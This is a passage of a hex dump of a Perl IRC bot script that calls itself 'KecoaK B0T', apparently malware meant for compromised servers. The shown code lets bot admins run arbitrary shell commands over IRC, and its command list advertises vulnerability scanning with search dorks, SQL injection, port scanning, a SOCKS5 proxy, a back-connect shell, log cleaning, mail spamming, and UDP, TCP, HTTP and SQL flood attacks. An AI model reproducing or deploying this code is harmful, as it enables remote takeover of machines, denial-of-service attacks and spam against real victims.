5120:	2E	2B	3F	29	20	50	52	49	56	4D	53	47	20	28	2E	2B	3F	29	20	5C	3A	28	2E	2B	29	2F	29	20	7B	0D	0A	20	.+?) PRIVMSG (.+?) \:(.+)/) {
5152:	20	20	20	20	20	6D	79	20	24	70	6E	3D	24	31	3B	20	6D	79	20	24	68	6F	73	74	6D	61	73	6B	3D	20	24	33	my $pn=$1; my $hostmask= $3
5184:	3B	20	6D	79	20	24	6F	6E	64	65	20	3D	20	24	34	3B	20	6D	79	20	24	61	72	67	73	20	3D	20	24	35	3B	0D	; my $onde = $4; my $args = $5;
5216:	0A	20	20	20	20	20	20	69	66	20	28	24	61	72	67	73	20	3D	7E	20	2F	5E	5C	30	30	31	56	45	52	53	49	4F	if ($args =~ /^\ 1VERSIO
5248:	4E	5C	30	30	31	24	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	6E	6F	74	69	63	65	28	22	24	70	6E	N\ 1$/) { notice("$pn
5280:	22	2C	20	22	5C	30	30	31	56	45	52	53	49	4F	4E	20	6D	49	52	43	20	76	36	2E	31	37	20	4B	65	63	6F	61	", "\ 1VERSION mIRC v6.17 Kecoa
5312:	4B	5C	30	30	31	22	29	3B	0D	0A	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	69	66	20	28	67	72	65	K\ 1"); } if (gre
5344:	70	20	7B	24	5F	20	3D	7E	20	2F	5E	5C	51	24	70	6E	5C	45	24	2F	69	20	7D	20	40	61	64	6D	73	20	29	20	p {$_ =~ /^\Q$pn\E$/i } @adms )
5376:	7B	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	6F	6E	64	65	20	65	71	20	22	24	6D	65	75	6E	69	{ if ($onde eq "$meuni
5408:	63	6B	22	29	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	68	65	6C	6C	28	22	24	70	6E	22	2C	20	ck"){ shell("$pn",
5440:	22	24	61	72	67	73	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	23	45	6E	64	20	6F	66	20	43	"$args"); } #End of C
5472:	6F	6E	6E	65	63	74	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	61	72	67	73	20	3D	7E	20	2F	5E	onnect if ($args =~ /^
5504:	28	5C	51	24	6D	65	75	6E	69	63	6B	5C	45	7C	5C	21	62	6F	74	29	5C	73	2B	28	2E	2A	29	2F	20	29	20	7B	(\Q$meunick\E\|\!bot)\s+(.*)/ ) {
5536:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	6E	61	74	72	69	78	20	3D	20	24	31	3B	0D	0A	my $natrix = $1;
5568:	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	61	72	67	20	3D	20	24	32	3B	0D	0A	20	20	20	20	20	my $arg = $2;
5600:	20	20	20	20	20	20	20	69	66	20	28	24	61	72	67	20	3D	7E	20	2F	5E	5C	21	28	2E	2A	29	2F	29	20	7B	0D	if ($arg =~ /^\!(.*)/) {
5632:	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	69	72	63	61	73	65	28	22	24	70	6E	22	2C	22	24	6F	ircase("$pn","$o
5664:	6E	64	65	22	2C	22	24	31	22	29	20	75	6E	6C	65	73	73	20	28	24	6E	61	74	72	69	78	20	65	71	20	22	21	nde","$1") unless ($natrix eq "!
5696:	62	6F	74	22	20	61	6E	64	20	24	61	72	67	20	3D	7E	20	2F	5E	5C	21	6E	69	63	6B	2F	29	3B	0D	0A	20	20	bot" and $arg =~ /^\!nick/);
5728:	20	20	20	20	20	20	20	20	20	20	7D	20	65	6C	73	69	66	20	28	24	61	72	67	20	3D	7E	20	2F	5E	5C	40	28	} elsif ($arg =~ /^\@(
5760:	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	24	6F	6E	64	65	70	20	3D	.*)/) { $ondep =
5792:	20	24	6F	6E	64	65	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	24	6F	6E	64	65	70	20	3D	$onde; $ondep =
5824:	20	24	70	6E	20	69	66	20	24	6F	6E	64	65	20	65	71	20	24	6D	65	75	6E	69	63	6B	3B	0D	0A	20	20	20	20	$pn if $onde eq $meunick;
5856:	20	20	20	20	20	20	20	20	20	20	20	62	66	75	6E	63	28	22	24	6F	6E	64	65	70	22	2C	22	24	31	22	29	3B	bfunc("$ondep","$1");
5888:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	20	20	20	20	20	20	20	} else {
5920:	20	20	20	20	20	20	20	73	68	65	6C	6C	28	22	24	6F	6E	64	65	22	2C	20	22	24	61	72	67	22	29	3B	0D	0A	shell("$onde", "$arg");
5952:	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	} }
5984:	20	7D	0D	0A	20	20	20	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	} } ######################
6016:	23	23	23	20	45	6E	64	20	6F	66	20	70	72	65	66	69	78	0D	0A	20	20	20	65	6C	73	69	66	20	28	24	73	65	### End of prefix elsif ($se
6048:	72	76	61	72	67	20	3D	7E	20	2F	5E	5C	3A	28	2E	2B	3F	29	5C	21	28	2E	2B	3F	29	5C	40	28	2E	2B	3F	29	rvarg =~ /^\:(.+?)\!(.+?)\@(.+?)
6080:	5C	73	2B	4E	49	43	4B	5C	73	2B	5C	3A	28	5C	53	2B	29	2F	69	29	20	7B	0D	0A	20	20	20	20	20	20	69	66	\s+NICK\s+\:(\S+)/i) { if
6112:	20	28	6C	63	28	24	31	29	20	65	71	20	6C	63	28	24	6D	65	75	6E	69	63	6B	29	29	20	7B	0D	0A	20	20	20	(lc($1) eq lc($meunick)) {
6144:	20	20	20	20	20	20	24	6D	65	75	6E	69	63	6B	3D	24	34	3B	0D	0A	20	20	20	20	20	20	20	20	20	24	69	72	$meunick=$4; $ir
6176:	63	5F	73	65	72	76	65	72	73	7B	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	7D	7B	27	6E	69	63	6B	c_servers{$IRC_cur_socket}{'nick
6208:	27	7D	20	3D	20	24	6D	65	75	6E	69	63	6B	3B	0D	0A	20	20	20	20	20	20	7D	0D	0A	20	20	20	7D	20	65	6C	'} = $meunick; } } el
6240:	73	69	66	20	28	24	73	65	72	76	61	72	67	20	3D	7E	20	6D	2F	5E	5C	3A	28	2E	2B	3F	29	5C	73	2B	34	33	sif ($servarg =~ m/^\:(.+?)\s+43
6272:	33	2F	69	29	20	7B	0D	0A	20	20	20	20	20	20	6E	69	63	6B	28	22	24	6D	65	75	6E	69	63	6B	7C	22	2E	69	3/i) { nick("$meunick\|".i
6304:	6E	74	20	72	61	6E	64	28	39	39	39	39	39	39	29	29	3B	0D	0A	20	20	20	7D	20	65	6C	73	69	66	20	28	24	nt rand(999999)); } elsif ($
6336:	73	65	72	76	61	72	67	20	3D	7E	20	6D	2F	5E	5C	3A	28	2E	2B	3F	29	5C	73	2B	30	30	31	5C	73	2B	28	5C	servarg =~ m/^\:(.+?)\s+ 1\s+(\
6368:	53	2B	29	5C	73	2F	69	29	20	7B	0D	0A	20	20	20	20	20	20	24	6D	65	75	6E	69	63	6B	20	3D	20	24	32	3B	S+)\s/i) { $meunick = $2;
6400:	0D	0A	20	20	20	20	20	20	24	69	72	63	5F	73	65	72	76	65	72	73	7B	24	49	52	43	5F	63	75	72	5F	73	6F	$irc_servers{$IRC_cur_so
6432:	63	6B	65	74	7D	7B	27	6E	69	63	6B	27	7D	20	3D	20	24	6D	65	75	6E	69	63	6B	3B	0D	0A	20	20	20	20	20	cket}{'nick'} = $meunick;
6464:	20	24	69	72	63	5F	73	65	72	76	65	72	73	7B	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	7D	7B	27	$irc_servers{$IRC_cur_socket}{'
6496:	6E	6F	6D	65	27	7D	20	3D	20	22	24	31	22	3B	0D	0A	20	20	20	20	20	20	66	6F	72	65	61	63	68	20	6D	79	nome'} = "$1"; foreach my
6528:	20	24	63	61	6E	61	6C	20	28	40	63	61	6E	61	69	73	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	73	65	$canal (@canais) { se
6560:	6E	64	72	61	77	28	22	4A	4F	49	4E	20	24	63	61	6E	61	6C	20	24	6B	65	79	22	29	3B	0D	0A	20	20	20	20	ndraw("JOIN $canal $key");
6592:	20	20	7D	0D	0A	20	20	20	7D	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	62	66	75	6E	63	20	7B	0D	0A	20	20	20	} } } sub bfunc {
6624:	6D	79	20	24	70	72	69	6E	74	6C	20	3D	20	24	5F	5B	30	5D	3B	0D	0A	20	20	20	6D	79	20	24	66	75	6E	63	my $printl = $_[ ]; my $func
6656:	61	72	67	20	3D	20	24	5F	5B	31	5D	3B	0D	0A	20	20	20	69	66	20	28	6D	79	20	24	70	69	64	20	3D	20	66	arg = $_[1]; if (my $pid = f
6688:	6F	72	6B	29	20	7B	0D	0A	20	20	20	20	20	20	77	61	69	74	70	69	64	28	24	70	69	64	2C	20	30	29	3B	0D	ork) { waitpid($pid, );
6720:	0A	20	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	20	20	20	20	20	69	66	20	28	66	6F	72	6B	29	20	7B	0D	} else { if (fork) {
6752:	0A	20	20	20	20	20	20	20	20	20	65	78	69	74	3B	0D	0A	20	20	20	20	20	20	7D	20	65	6C	73	65	20	7B	0D	exit; } else {
6784:	0A	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	6B	69	if ($funcarg =~ /^ki
6816:	6C	6C	6D	65	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	llme/) { sendraw($I
6848:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	51	55	49	54	20	3A	22	29	3B	0D	0A	20	20	20	20	20	RC_cur_socket, "QUIT :");
6880:	20	20	20	20	20	20	20	24	6B	69	6C	6C	64	20	3D	20	22	6B	69	6C	6C	20	2D	39	20	22	2E	66	6F	72	6B	3B	$killd = "kill -9 ".fork;
6912:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	79	73	74	65	6D	20	28	60	24	6B	69	6C	6C	64	60	29	3B	system (`$killd`);
6944:	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	} ##################
6976:	23	23	23	23	0D	0A	23	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	43	6F	6D	6D	61	#### # Comma
7008:	6E	64	73	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	23	0D	0A	23	23	23	23	nds # ####
7040:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	################## if
7072:	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	63	6F	6D	6D	61	6E	64	73	2F	29	20	7B	0D	0A	20	20	20	($funcarg =~ /^commands/) {
7104:	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	sendraw($IRC_cur_socket
7136:	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	2C	31	5B	02	03	31	34	40	03	39	, "PRIVMSG $printl :4,1[14@9
7168:	2D	5B	4B	65	63	6F	61	4B	20	42	30	54	20	43	6F	6D	6D	61	6E	64	73	20	4C	69	73	74	5D	2D	03	31	34	40	-[KecoaK B T Commands List]-14@
7200:	03	34	02	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	4] "); sendraw($I
7232:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	RC_cur_socket, "PRIVMSG $printl
7264:	3A	03	34	2C	31	5B	02	03	31	34	40	03	31	33	2D	2D	2D	2D	2D	5B	4B	65	63	6F	61	4B	2F	48	61	63	6B	69	:4,1[14@13-----[KecoaK/Hacki
7296:	6E	67	20	42	61	73	65	64	5D	2D	2D	2D	2D	2D	03	31	34	40	03	34	02	5D	20	22	29	3B	0D	0A	20	20	20	20	ng Based]-----14@4] ");
7328:	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	sendraw($IRC_cur_socket,
7360:	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	"PRIVMSG $printl :7!bot 14@3
7392:	6D	75	6C	74	69	73	63	61	6E	20	3C	76	75	6C	6E	3E	20	3C	64	6F	72	6B	3E	22	29	3B	0D	0A	20	20	20	20	multiscan <vuln> <dork>");
7424:	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	sendraw($IRC_cur_socket,
7456:	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	"PRIVMSG $printl :7!bot 14@3
7488:	73	6F	63	6B	73	35	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	socks5"); sendraw($
7520:	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	IRC_cur_socket, "PRIVMSG $printl
7552:	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	73	71	6C	20	3C	76	75	6C	6E	3E	20	3C	64	6F	72	6B	3E	:7!bot 14@3sql <vuln> <dork>
7584:	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	"); sendraw($IRC_cu
7616:	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	r_socket, "PRIVMSG $printl :7!b
7648:	6F	74	20	03	31	34	40	03	33	70	6F	72	74	73	63	61	6E	20	3C	69	70	3E	22	29	3B	0D	0A	20	20	20	20	20	ot 14@3portscan <ip>");
7680:	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	sendraw($IRC_cur_socket,
7712:	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6C	"PRIVMSG $printl :7!bot 14@3l
7744:	6F	67	63	6C	65	61	6E	65	72	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	ogcleaner"); sendra
7776:	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	w($IRC_cur_socket, "PRIVMSG $pri
7808:	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	73	65	6E	64	6D	61	69	6C	20	3C	73	75	62	6A	ntl :7!bot 14@3sendmail <subj
7840:	65	63	74	3E	20	3C	73	65	6E	64	65	72	3E	20	3C	72	65	63	69	70	69	65	6E	74	3E	20	3C	6D	65	73	73	61	ect> <sender> <recipient> <messa
7872:	67	65	3E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	ge>"); sendraw($IRC
7904:	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	_cur_socket, "PRIVMSG $printl :
7936:	37	21	62	6F	74	20	03	31	34	40	03	33	73	79	73	74	65	6D	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7!bot 14@3system");
7968:	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	sendraw($IRC_cur_socket, "PRI
8000:	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	63	6C	65	61	72	VMSG $printl :7!bot 14@3clear
8032:	74	6D	70	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	tmp"); sendraw($IRC
8064:	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	_cur_socket, "PRIVMSG $printl :
8096:	37	21	62	6F	74	20	03	31	34	40	03	33	72	6F	6F	74	61	62	6C	65	22	29	3B	0D	0A	20	20	20	20	20	20	20	7!bot 14@3rootable");
8128:	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	sendraw($IRC_cur_socket, "P
8160:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6E	6D	61	RIVMSG $printl :7!bot 14@3nma
8192:	70	20	3C	69	70	3E	20	3C	62	65	67	69	6E	70	6F	72	74	3E	20	3C	65	6E	64	70	6F	72	74	3E	22	29	3B	0D	p <ip> <beginport> <endport>");
8224:	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	sendraw($IRC_cur_so
8256:	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	cket, "PRIVMSG $printl :7!bot
8288:	31	34	40	03	33	62	61	63	6B	20	3C	69	70	3E	3C	70	6F	72	74	3E	22	29	3B	20	20	20	0D	0A	20	20	20	20	14@3back <ip><port>");
8320:	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	sendraw($IRC_cur_socket,
8352:	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	"PRIVMSG $printl :7!bot 14@3
8384:	6C	69	6E	75	78	68	65	6C	70	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	linuxhelp"); sendra
8416:	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	w($IRC_cur_socket, "PRIVMSG $pri
8448:	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	63	64	20	74	6D	70	3A	2E	20	7C	20	66	6F	72	ntl :7!bot 14@3cd tmp:. \| for
8480:	20	65	78	61	6D	70	6C	65	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	example"); sendraw
8512:	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	($IRC_cur_socket, "PRIVMSG $prin
8544:	74	6C	20	3A	03	34	2C	31	5B	02	03	31	34	40	03	31	33	2D	2D	2D	2D	2D	5B	41	64	76	69	73	6F	72	79	2F	tl :4,1[14@13-----[Advisory/
8576:	4E	65	77	20	42	61	73	65	64	5D	2D	2D	2D	2D	2D	03	31	34	40	03	34	02	5D	20	22	29	3B	0D	0A	20	20	20	New Based]-----14@4] ");
8608:	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	sendraw($IRC_cur_socket
8640:	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	, "PRIVMSG $printl :7!bot 14@
8672:	33	70	61	63	6B	65	74	73	74	6F	72	6D	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	3packetstorm"); sen
8704:	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	draw($IRC_cur_socket, "PRIVMSG $
8736:	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6D	69	6C	77	30	72	6D	22	29	3B	0D	printl :7!bot 14@3milw rm");
8768:	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	sendraw($IRC_cur_so
8800:	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	2C	31	5B	02	03	31	cket, "PRIVMSG $printl :4,1[1
8832:	34	40	03	31	33	2D	2D	2D	2D	2D	5B	44	44	6F	73	20	42	61	73	65	64	5D	2D	2D	2D	2D	2D	03	31	34	40	03	4@13-----[DDos Based]-----14@
8864:	34	02	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	4] "); sendraw($IR
8896:	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	C_cur_socket, "PRIVMSG $printl :
8928:	03	37	21	62	6F	74	20	03	31	34	40	03	33	75	64	70	66	6C	6F	6F	64	20	3C	68	6F	73	74	3E	20	3C	70	61	7!bot 14@3udpflood <host> <pa
8960:	63	6B	65	74	20	73	69	7A	65	3E	20	3C	74	69	6D	65	3E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	cket size> <time>");
8992:	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	sendraw($IRC_cur_socket, "PRIV
9024:	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	74	63	70	66	6C	6F	MSG $printl :7!bot 14@3tcpflo
9056:	6F	64	20	3C	68	6F	73	74	3E	20	3C	70	6F	72	74	3E	20	3C	70	61	63	6B	65	74	20	73	69	7A	65	3E	20	3C	od <host> <port> <packet size> <
9088:	74	69	6D	65	3E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	time>"); sendraw($I
9120:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	RC_cur_socket, "PRIVMSG $printl
9152:	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	68	74	74	70	66	6C	6F	6F	64	20	3C	68	6F	73	74	3E	20	3C	:7!bot 14@3httpflood <host> <
9184:	74	69	6D	65	3E	22	29	3B	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	time>"); sendraw($
9216:	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	IRC_cur_socket, "PRIVMSG $printl
9248:	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	73	71	6C	66	6C	6F	6F	64	20	3C	68	6F	73	74	3E	20	3C	:7!bot 14@3sqlflood <host> <
9280:	74	69	6D	65	3E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	time>"); sendraw($I
9312:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	RC_cur_socket, "PRIVMSG $printl
9344:	3A	03	34	2C	31	5B	02	03	31	34	40	03	31	33	2D	2D	2D	2D	2D	5B	49	52	43	20	42	61	73	65	64	5D	2D	2D	:4,1[14@13-----[IRC Based]--
9376:	2D	2D	2D	03	31	34	40	03	34	02	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	---14@4] "); sen
9408:	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	draw($IRC_cur_socket, "PRIVMSG $
9440:	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6B	69	6C	6C	6D	65	22	29	3B	20	20	printl :7!bot 14@3killme");
9472:	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	sendraw($IRC_cur_
9504:	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	socket, "PRIVMSG $printl :7!bot
9536:	20	03	31	34	40	03	33	6A	6F	69	6E	20	23	63	68	61	6E	6E	65	6C	22	29	3B	20	20	20	0D	0A	20	20	20	20	14@3join #channel");
9568:	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	sendraw($IRC_cur_socket,
9600:	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	"PRIVMSG $printl :7!bot 14@3
9632:	70	61	72	74	20	23	63	68	61	6E	6E	65	6C	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	part #channel"); se
9664:	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	ndraw($IRC_cur_socket, "PRIVMSG
9696:	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	72	65	73	65	74	22	29	3B	0D	0A	$printl :7!bot 14@3reset");
9728:	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	sendraw($IRC_cur_soc
9760:	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	ket, "PRIVMSG $printl :7!bot 1
9792:	34	40	03	33	76	6F	69	63	65	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	4@3voice <who> ");
9824:	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	sendraw($IRC_cur_socket, "PRIVM
9856:	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6F	77	6E	65	72	20	3C	SG $printl :7!bot 14@3owner <
9888:	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	who> "); sendraw($I
9920:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	RC_cur_socket, "PRIVMSG $printl
9952:	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	64	65	6F	77	6E	65	72	20	3C	77	68	6F	3E	20	22	29	3B	0D	:7!bot 14@3deowner <who> ");
9984:	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	sendraw($IRC_cur_so
10016:	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	cket, "PRIVMSG $printl :7!bot
10048:	31	34	40	03	33	64	65	76	6F	69	63	65	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	14@3devoice <who> ");
10080:	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	sendraw($IRC_cur_socket, "PR
10112:	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	68	61	6C	66	IVMSG $printl :7!bot 14@3half
10144:	6F	70	20	3C	77	68	6F	3E	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	op <who> "); sendra
10176:	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	w($IRC_cur_socket, "PRIVMSG $pri
10208:	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	64	65	68	61	6C	66	6F	70	20	3C	77	68	6F	3E	ntl :7!bot 14@3dehalfop <who>
10240:	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	"); sendraw($IRC_c
10272:	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	ur_socket, "PRIVMSG $printl :7!
